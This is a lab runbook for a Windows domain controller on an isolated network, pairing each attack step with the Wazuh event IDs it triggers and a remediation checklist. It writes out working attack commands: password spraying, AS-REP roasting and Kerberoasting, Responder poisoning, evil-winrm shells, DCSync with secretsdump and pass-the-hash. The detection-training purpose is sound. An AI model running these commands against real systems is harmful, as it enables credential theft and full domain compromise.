SIEM LAB · VOLUME 4 · LIVE RUN

Attack & Watch — Exploit Your WinServer While Wazuh Records Every Move

The step-by-step runbook for taking your own Windows Server from zero access to Domain Admin in one sitting — every phase paired with the exact detection Wazuh fires as you do it. You attack with one screen open: Kali on the left, the Wazuh dashboard on the right.

Written for	You, after Volume 3 — a person who has already seen the tools once
Target	WinServer — Windows Server 2022 Domain Controller (`corp.local`) at `10.0.0.10`
Attack host	Kali Linux `10.0.0.30` (VirtualBox, `intnet`)
Defender	SIEM-Ubuntu `10.0.0.40` — Wazuh 4.14.8, alert pipeline verified working
Lab network	VirtualBox `intnet` , `10.0.0.0/24` , fully isolated, no internet
How to use it	Do each Part top to bottom. Run the red command on Kali, then run the blue detection check and *look at the screen* before moving on.

> **Same law as Volume 3.** Everything here is legal *only* for `10.0.0.10` — a VM you own, on a network you built, with no route outside. Point these tools at a machine you do not own or lack written permission to test and it stops being a lab and becomes a crime. Keep it on the bench.

Scope — what this runbook actually does

Volume 3 taught you each tool. Volume 4 chains them together into a single, repeatable campaign, and for every step shows **what a defender using Wazuh would see**. The menu of what you will (and will explicitly not) do:

In this runbook (all on your own VM)	Deliberately left out
• Snapshot & baseline before touching anything • Recon and service enumeration, with Wazuh discussed • Credential attacks: spray, AS-REP roast, Kerberoast, LLMNR poisoning • A real shell over WinRM • One clean impact demo: DCSync, plus a throwaway account • Reading your own attack in the Wazuh dashboard, event by event • Cleanup, restore, and a one-page remediation checklist	• Malware / persistence payloads — not needed to learn the pipeline • Golden/Silver tickets — you will note `krbtgt` and stop • Anything off-network. This runbook assumes the `intnet` wall holds • Real-world stealth. A real attacker hides; you are here to get *caught*

Why "get caught" is the point

A detection you have seen fire *live* sticks forever. After this runbook you will know how an intrusion reads in a SIEM, which is exactly what a blue-teamer and a red-teamer both need. The two skills are the same skill.

One time-saver before you start

If the Wazuh dashboard shows *no new alerts*, the alert pipeline may be down. We repaired it on **10 Oct 2026** (filebeat was crashing because its seccomp filter blocks a syscall on your new kernel — fixed with `seccomp.enabled: false` in `/etc/filebeat/filebeat.yml`). Confirm it is still healthy, on SIEM-Ubuntu:

```
systemctl is-active wazuh-manager wazuh-indexer wazuh-dashboard filebeat
sudo curl -sk -u admin:'<MANAGER_PASSWORD>' \
  'https://127.0.0.1:9200/_cluster/health?pretty'
```

Expect four `active` lines and cluster status `green`. If `filebeat` is `failed`, run `sudo systemctl reset-failed filebeat && sudo systemctl start filebeat` and re-check.

Contents

0 Ground rules & the snapshot (5 minutes)

1 The plan — your five phases, mapped to Wazuh

2 Phase 1 — Recon: find the target, map the doors

3 Phase 2 — Enumerate: read the server's mind

4 Phase 3 — Get a credential (the hard part)

5 Phase 4 — Land a shell

6 Phase 5 — Own the domain (impact, then stop)

7 The defender's mirror: re-reading the whole attack in Wazuh

8 Cleanup, restore & the one-page fixing checklist

9 Cheat sheet for the runbook

0 Ground rules & the snapshot

Two habits make this session safe and repeatable: a snapshot you can fall back to, and logging every action so your writeup writes itself.

0.1 Snapshot the target now

> 1 **In VirtualBox: WinServer → Snapshots → Take.**
> Name it `pre-campaign-2026-10-10` and add a description. When something breaks later, or when you finish, restore it and watch the whole exercise repeat cleanly. This is the single most important habit in offensive work.

0.2 Make a campaign folder and a notes file

```
mkdir -p ~/lab/campaign4
cd ~/lab/campaign4
echo "# Campaign 4 - $(date -Iseconds)" > notes.txt
```

Piece	What it does
`mkdir -p ~/lab/campaign4`	Create the folder (and parents). `~` = `/home/kali`.
`cd ~/lab/campaign4`	Step into it so outputs land there.
`echo … > notes.txt`	Create a notes file with today's date. Append a line after every successful command.

0.3 Three habits during the run

- **Red = command on Kali. Blue = check in Wazuh.** Do the red, then do the blue, then continue. Never skip the blue — that half is the entire reason for this lab.
- **If a phase yields nothing, do not force it.** Move to the next credential method (Part 4 has four of them). The runbook is written in the order they usually succeed.
- **Append to `notes.txt` as you go.** One line per phase is enough; your report comes from this file at the end.

1 The plan: five phases, mapped to Wazuh

A real intrusion is not one hack; it is five loops that feed each other. Keep this picture up while you work — it is also the order a defender looks at the evidence afterward.

Recon → Enumerate → Credentials → Shell → Own the domain

Phase		What you do	The Wazuh hint you are looking for
1 Recon	2	Ping sweep, full port scan.	Almost silent. Careful scanning shows as per-source connection spam; no alert yet.
2 Enumerate	3	SMB/LDAP/DNS queries, share listing.	Failed/null-session attempts may log as `4625` or service-account noise.
3 Credentials	4	Spray, roast, poison, crack.	The loudest phase: `4625` floods, `4768` / `4769` Kerberos oddities, `4740` if a lockout fires.
4 Shell	5	Log in over WinRM, run commands.	`4624` logon type 3, `4688` process creation with your command line, `4104` if PowerShell.
5 Own domain	6	DCSync to dump hashes; prove impact.	`4662` on the replication GUIDs — the event that should terrify a defender.

The field to know before you start

Every Windows event in Wazuh is indexed with its **Event ID**. Search it with `data.win.system.eventID:4625` (on older installs `win.system.eventID:4625`). Each phase below gives you the exact ID(s) to look for. You can also just filter `agent.name:<SERVER>` and *watch the feed* — the IDs appear in the alert row's `rule.description` .

2 Phase 1 — Recon: find the target, map the doors

Recon is cheap and mostly invisible. Do it fast and correctly the first time, because it decides everything after.

2.1 Sweep the lab segment

```
sudo nmap -sn 10.0.0.0/24 -oN recon-hosts.txt
```

Piece	What it does
`-sn`	Host discovery only (no port scan) — "who is alive?"
`-oN recon-hosts.txt`	Save a normal-format copy to your campaign folder.

Expected: `10.0.0.10` *(WinServer),* `10.0.0.30` *(you),* `10.0.0.40` *(SIEM), possibly* `10.0.0.50` *(client VM). Note them all.*

2.2 Full port scan, then a careful pass on what is open

```
sudo nmap -Pn -sS -p- --min-rate 2000 -T4 10.0.0.10 -oN nmap-all.txt
sudo nmap -Pn -sV -sC -p 53,88,135,139,389,445,464,636,3268,3269,5985,9389 \
  10.0.0.10 -oN nmap-services.txt
```

Piece	What it does
`-Pn`	Skip ping (Windows firewalls often block it); treat host as up.
`-sS`	Half-open SYN scan — fast and quiet, needs root.
`-p-`	All 65,535 ports.
`--min-rate 2000 -T4`	Speed: at least 2,000 packets/s, aggressive timing.
`-sV -sC`	Version detection + default scripts on the open ports, second pass.
`5985`	WinRM — your future shell, if you can authenticate.

> **Read your own scan like a defender**
>
> `88` (Kerberos) `389` (LDAP) `445` (SMB) `5985` (WinRM) in that cluster means **Domain Controller**. On your lab, SMB signing is required and SMBv1 is off — so the only realistic door in is *credentials*. That is exactly what Phases 3–5 use.

> **Known lab hiccup**
>
> If `10.0.0.10` suddenly stops answering mid-campaign, it is the VirtualBox virtual NIC falling idle, not the server dying. From Windows, run `VBoxManage controlvm "WinServer" setlinkstate1 off` then `... on`, and rescan.

2.3 The blue check after Phase 1

Open the Wazuh dashboard (`https://127.0.0.1:4433` , login `admin` / `<MANAGER_PASSWORD>`), go to **Alerts**, and set the filter:

```
agent.name:<SERVER> AND rule.level:>=8
```

*Expected so far: few or no high alerts — scanning is faint. What you are doing is **baselining**: knowing what the quiet looks like, so the loud is unmistakable later. Make a note in `notes.txt` of how many alerts you see now.*

3 Phase 2 — Enumerate: read the server's mind

Enumeration asks polite questions and writes down the answers. Nothing here is an exploit; it is the server *volunteering* information.

3.1 SMB: role, version, shares

```
netexec smb 10.0.0.10
smbclient -L //10.0.0.10 -N
enum4linux -a 10.0.0.10 > enum4linux.txt
```

Piece	What it does
`netexec smb 10.0.0.10`	Quick banner grab: OS build, computer name, domain, signing setting.
`smbclient -L //10.0.0.10 -N`	List file shares anonymously.
`enum4linux -a 10.0.0.10 > enum4linux.txt`	Run every safe SMB/LDAP check and save the lot to a file.

What you should record in `notes.txt`: OS build, computer name (`SERVER`), domain (`corp.local`), whether shares are listed anonymously. On a properly hardened DC the anonymous share list is denied — that is the good outcome.

3.2 LDAP: find the domain's shape

```
ldapsearch -x -LLL -H ldap://10.0.0.10 -s base -b "" namingContexts
```

Piece	What it does
`ldapsearch -x -LLL`	Query LDAP, simple auth, tidy output.
`-H ldap://10.0.0.10`	Talk to this server (the DC is also the LDAP server).
`-s base -b ""`	Read only the root object.
`namingContexts`	The attribute that reveals the real domain DN.

Expect `DC=corp,DC=local`. Trying to list users anonymously now fails (`Operations error`) on a well-configured DC — that is expected and fine; you get the user list in Phase 3 from Kerberos instead.

3.3 DNS: internal names leak

```
dig @10.0.0.10 corp.local NS
nslookup 10.0.0.10 10.0.0.10
```

Confirms the zone and the reverse name. Nothing to crack here; just record it.

3.4 The blue check after Phase 2

Back in **Alerts**, filter for the whole target again and look for the events your enumeration generated (failed null-session or service logins usually show as `4625`):

```
agent.name:<SERVER> AND data.win.system.eventID:4625
```

If this returns a handful of failed logins from `10.0.0.30` — you are seeing the lab talking to itself. This is your first matched detection. Note the count.

4 Phase 3 — Get a credential (the hard part)

Every door is shut except the ones that need a password. This phase is four attacks, tried in the order they usually work on a small lab. **Stop the moment one succeeds.** All four are covered in depth in Volume 3; here they are a script.

4.0 Know the rules of the fight

```
netexec smb 10.0.0.10 -u <USER> -p '<PASS>' --pass-pol   # only if you already have one valid login
```

If the policy says…	Your strategy
Lockout threshold 0	You may brute-force one account freely (4.1).
Lockout threshold 5	Never exceed it per account. Spray one password across many users (4.2).
Min length < 8, no complexity	Weak passwords exist; cracking will be fast.

4.1 Make a smart, small wordlist (do this once)

```
cat > lab-passwords.txt <<'EOF'
Password1
Password123!
Passw0rd
P@ssw0rd
Welcome1
Welcome123!
Admin123!
Corp@2022
Corp@2026
Server2022
Server2022!
labadmin
labadmin123
lab@123
ChangeMe123!
Summer2026!
Winter2026!
EOF
```

A targeted list built from the lab's culture beats 14 million random guesses. Extend it with anything you observed in Phase 2 (company words, seasons, years).

4.2 Attack 1 — password spray (safest, try first)

```
cat > users.txt <<'EOF'
administrator
labadmin
guest
svc-backup
EOF
netexec smb 10.0.0.10 -u users.txt -p 'Winter2026!' --continue-on-success
netexec smb 10.0.0.10 -u users.txt -p 'Corp@2026'   --continue-on-success
```

Piece	What it does
`-u users.txt`	Try every username in the file.
`-p 'Winter2026!'`	One single password against all of them (spray). Repeat with the next.
`--continue-on-success`	Keep testing after the first hit so you learn all exposed accounts.

> **What success looks like**
>
> `[+] domain\administrator:Winter2026!` — a plus sign and the credential. Copy it to `notes.txt`. If you already reached the shell in Phase 4, skip to Phase 5.

4.3 Attack 2 — AS-REP roast (no password needed, needs one weak account)

```
impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.10 \
  -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```

Piece	What it does
`impacket-GetNPUsers`	Ask the DC for a crackable ticket for users without Kerberos pre-auth.
`-no-pass`	No login attempted — this works with no credentials at all.
`-format hashcat -o asrep.txt`	Save hashes in a form `hashcat` eats directly.
`hashcat -m 18200`	`18200` = AS-REP hash. Crack offline (no lockout, no network).

If `asrep.txt` is empty, no roastable account exists — a defender win, move on.

4.4 Attack 3 — Kerberoast (needs one valid login)

```
impacket-GetUserSPNs 'corp.local/USER:PASS' -dc-ip 10.0.0.10 -request -outputfile kerb.txt
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt
```

Any authenticated user can request service tickets that are encrypted with the service account's password. `-m 13100` is the Kerberoast ticket type.

4.5 Attack 4 — LLMNR/NBT-NS poisoning

```
sudo responder -I eth0 -dwv
```

Piece	What it does
`responder -I eth0`	Answer stray name lookups on `eth0` and harvest login hashes.
`-dwv`	DHCP answer, WPAD proxy, verbose.

While it runs, trigger a lookup on the server (its console: open `\\does-not-exist` or browse a share). Captured hashes land in `/usr/share/responder/logs/`; crack them with `hashcat -m 5600 <file> rockyou.txt`.

> **This one is lab-only, forever**
>
> Responder answers *every* machine on the segment. On a real network it is loud, illegal without authorization, and will collect far more than you want. Run it only on `intnet`.

4.6 The blue check after Phase 3

This is where your SIEM earns its keep. In **Alerts**, look for the fall of the hammer:

```
agent.name:<SERVER> AND data.win.system.eventID:(4625 OR 4740 OR 4768 OR 4769)
```

Also raise the level filter and look at *why* each alert is high:

```
agent.name:<SERVER> AND rule.level:>=10
```

Event ID	What it means	Where you saw it
4625	Failed logon. Many from one source = brute force or spray.	4.2 spray misses
4740	Account locked out. Happens if you guessed past the threshold.	Warning: back off
4768	Kerberos ticket-granting-ticket issued or failed — roast attempts surface here.	4.3 / 4.4
4769	Service ticket requested — the heart of Kerberoasting.	4.4

Write down which event IDs fired and which did not. *That is the "coverage" half of your writeup.*

5 Phase 4 — Land a shell

A password is the door key. WinRM (port 5985, open on your lab) turns it into a PowerShell shell instantly.

5.1 Prove the credential and run one command

```
netexec winrm 10.0.0.10 -u administrator -p 'THE_PASSWORD' -x whoami
```

Piece	What it does
`netexec winrm`	Same hammer as before, speaking WinRM.
`-u / -p`	The credential from Phase 3.
`-x whoami`	Execute that one command remotely. `whoami` prints the account — proof.

5.2 Drop into an interactive shell

```
evil-winrm -i 10.0.0.10 -u administrator -p 'THE_PASSWORD'
```

Piece	What it does
`evil-winrm -i 10.0.0.10`	Interactive remote PowerShell session (`-i` = target).
`-u / -p`	Your credentials.

Inside the session, the three commands any intruder types first:

```
whoami
hostname
net user
```

`whoami` showing `corp\administrator` is the entire win — you are on the Domain Controller as Domain Admin. Do not celebrate yet; Phase 5 is what makes the writeup honest.

5.3 Also useful now: read the whole directory with your login

```
ldapsearch -x -H ldap://10.0.0.10 -D 'administrator@corp.local' -w 'THE_PASSWORD' \
  -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName memberOf
```

Now that you are a valid identity, LDAP opens right up — every user and their groups, which lets you spot exactly who else matters (e.g. `Domain Admins`).

5.4 The blue check after Phase 4

```
agent.name:<SERVER> AND data.win.system.eventID:(4624 OR 4688 OR 4104)
```

Event ID	What it means	You generated it when…
`4624`	Successful logon (type 3 = network). SMB/WinRM login.	5.1 the very first successful auth
`4688`	Process creation, with command line if audited.	5.1 / 5.2 every command you ran
`4104`	PowerShell script block logging (if enabled).	evil-winrm history

The `4624` after all those `4625`s is the "they got in" moment. A defender watching that progression knows the drill.

6 Phase 5 — Own the domain (impact, then stop)

The honest proof-of-impact for a Domain Admin is exactly two commands. Then you stop. The goal is to demonstrate the risk, not to leave your lab a zombie.

6.1 DCSync — the whole domain's password hashes

```
impacket-secretsdump 'corp.local/administrator:THE_PASSWORD@10.0.0.10' -just-dc-ntlm
```

Piece	What it does
`impacket-secretsdump`	Dump secret material: SAM, or — with the replication right — the whole domain.
`'user:pass@host'`	One string with everything the tool needs.
`-just-dc-ntlm`	Only the NT hashes — including `krbtgt`. That is the "game over" page.

> **This is the ceiling. Do not go past it.**
>
> With the `krbtgt` hash an attacker can mint Golden Tickets valid for years. Note the finding, screenshot the output, and *put the VM back on its snapshot*. Understanding the ceiling is the point; living past it is not.

6.2 Pass-the-Hash — skip the cracking entirely

```
netexec smb 10.0.0.10 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:NT_HASH_HERE'
```

Windows accepts the NT hash directly as a password. The part before the colon is the (usually empty) LM half; the part after is the valuable NT hash.

6.3 A clean impact demo the defender can see

From inside the shell, one tidy proof-of-privilege that Wazuh is guaranteed to log:

```
net user pentest-user 'Str0ng-Lab-Pass!' /add
net localgroup Administrators pentest-user /add
net localgroup Administrators pentest-user /delete
net user pentest-user /delete
```

Between the add and the delete, run the blue check below — you want to catch `4720` before you clean it up.

6.4 The blue check after Phase 5

```
agent.name:<SERVER> AND data.win.system.eventID:(4662 OR 4720 OR 4732)
```

Event ID	What it means	You generated it when…
4662	Object access — with the replication GUIDs, this is DCSync.	6.1 secretsdump

`4720`	User account created.	6.3 net user /add
`4732`	Member added to a group.	6.3 net localgroup /add

If `4662` did not appear, replication auditing is not enabled on the DC — that is itself a finding for the report (see Volume 5, the detection companion).

7 The defender's mirror: re-read the whole attack in Wazuh

Now flip chairs. Filter the dashboard to the target and the hour you were working, and the entire intrusion is one timeline. Do this slowly, in order — this read is the deliverable.

1 **Scope the window and the machine.**
Alerts → date range = your campaign hour. Filter `agent.name:<SERVER>`.

2 **Walk the event IDs in attack order.**
Set the filter to each value in turn and screenshot the results:

```
data.win.system.eventID:(4625)     # failed logons (phase 3, left to right = spray pattern)
data.win.system.eventID:(4768 OR 4769)  # Kerberos roast activity
data.win.system.eventID:(4624)     # the successful logon you exploited
data.win.system.eventID:(4688)     # every process you spawned
data.win.system.eventID:(4662)     # DCSync timestamp, if it fired
```

Tip: on older indexes the field is `win.system.eventID`. Check one alert's JSON (click it) to confirm before filtering.

3 **Read the story aloud.**
The failed logons spike, then a success, then a command dump, then a replication read. That sequence *is* the intrusion. If any middle step is missing from the logs — note it; that is your detection gap and exactly what Volume 5 helps you close.

4 **Save the artifacts.**
Screenshot: (a) the `4625` spike, (b) the successful `4624`, (c) the `4662` if present, (d) the alerts-by-severity overview for the hour. These four images make your red-team report look professional in two minutes.

What a real blue team would do with those four screenshots

Correlate the source IPs (all `10.0.0.30` — clearly you), alert the owners, block the source, force a password reset domain-wide, audit for other logons with that credential, and hunt for the attacker's tools. Notice: your SIEM *told you everything* — the gap in this lab is response, not detection.

8 Cleanup, restore & the one-page fixing checklist

This is the half that gets paid. Put the lab back, then fix the weaknesses so the next run either fails or is deafening in Wazuh.

8.1 Clean up the machine state

```
net user pentest-user /delete        # if still present (6.3)
```

8.2 Restore the snapshot

Shut WinServer down, right-click it in VirtualBox → **Snapshots** → **Restore** `pre-campaign-2026-10-10`, then boot. The server is factory-clean for you to harden once more or re-attack.

8.3 The fix checklist (steal this for the report)

Weakness you proved	The fix	Detection you want to keep
Weak / guessable passwords	Length 14+, complexity, *and a lockout*: `net accounts /minpwlen:14 /lockoutthreshold:5 /lockoutduration:15 /lockoutobservation:30`	`4625` + `4740`
No username enumeration resistance	You enumerated users via Kerberos because anonymous LDAP was already denied — keep that, add logging for `4768` / `4769`.	`4768`
Roastable/AS-REP accounts	Audit `DoesNotRequirePreAuth`; use gMSA or 25+ char service passwords; disable RC4.	`4769` with RC4
LLMNR/NetBIOS enabled (if poisoning worked)	Disable via GPO. This removes the door Responder used.	NetNTLM auth from odd hosts
WinRM exposed to everyone on the LAN	Restrict 5985 to admin workstations or use HTTPS (5986).	`4624` type 3 + `4688`
DCSync was possible	Least privilege: nearly no one should be Domain Admin. Tiered admin model, Credential Guard, LSA protection (`RunAsPPL`).	`4662` replication GUIDs
Old build (20348.587)	Patch. Enable Windows Update now.	Vulnerability module

The one-final-reminder box

Credentials beat every firewall. Every attack in this runbook that succeeded did so because of a weak password or a permissive service, *not* a memory-corruption exploit. That is not a disappointment — it is the realistic 2020s threat model, and now you have seen the whole loop of attack, detection, and fix. Re-run it after fixing and watch Wazuh light up where it was quiet.

9 Cheat sheet for the runbook

Goal	Command
Baseline alert count	`agent.name:<SERVER> AND rule.level:>=8`
Sweep hosts	`sudo nmap -sn 10.0.0.0/24`
Full scan	`sudo nmap -Pn -sS -p- --min-rate 2000 -T4 10.0.0.10`
Service scan	`sudo nmap -Pn -sV -sC -p 53,88,135,389,445,464,636,3268,3269,5985,9389 10.0.0.10`
SMB banner	`netexec smb 10.0.0.10`
Share list (anon)	`smbclient -L //10.0.0.10 -N`
LDAP root	`ldapsearch -x -H ldap://10.0.0.10 -s base -b "" namingContexts`
Spray one password	`netexec smb 10.0.0.10 -u users.txt -p 'Winter2026!' --continue-on-success`
AS-REP roast	`impacket-GetNPUsers corp.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.10`
Kerberoast	`impacket-GetUserSPNs corp.local/u:p -dc-ip 10.0.0.10 -request`
Poison LLMNR	`sudo responder -I eth0 -dwv`
WinRM one-liner	`netexec winrm 10.0.0.10 -u administrator -p PASS -x whoami`
Interactive shell	`evil-winrm -i 10.0.0.10 -u administrator -p PASS`
DCSync	`impacket-secretsdump 'corp.local/administrator:PASS@10.0.0.10' -just-dc-ntlm`
Pass-the-Hash	`netexec smb 10.0.0.10 -u administrator -H ':NT_HASH'`
SIEM health (on Ubuntu)	`systemctl is-active wazuh-manager wazuh-indexer wazuh-dashboard filebeat`

Event ID quick key (from this runbook)

Event	Meaning	Phase
4625	Failed logon	3 (spray/brute)
4624	Successful logon	4
4688	Process created	4 (every command)
4768	Kerberos TGT issued/failed	3
4769	Service ticket (Kerberoast)	3

`4740`	Account locked out	3 (too fast!)
`4662`	Object access (DCSync GUIDs)	5
`4720/4732`	User created / added to group	5 (impact demo)
`4104`	PowerShell script block	4

That's a campaign, end to end.

Snapshot → attack → watch yourself get caught → restore → fix → re-attack and watch it fail. Repeat that loop weekly and you will know more about Windows security than most professionals do. Volume 5 contains the detection companion: every one of these events as a ready-made Wazuh search and its rule notes.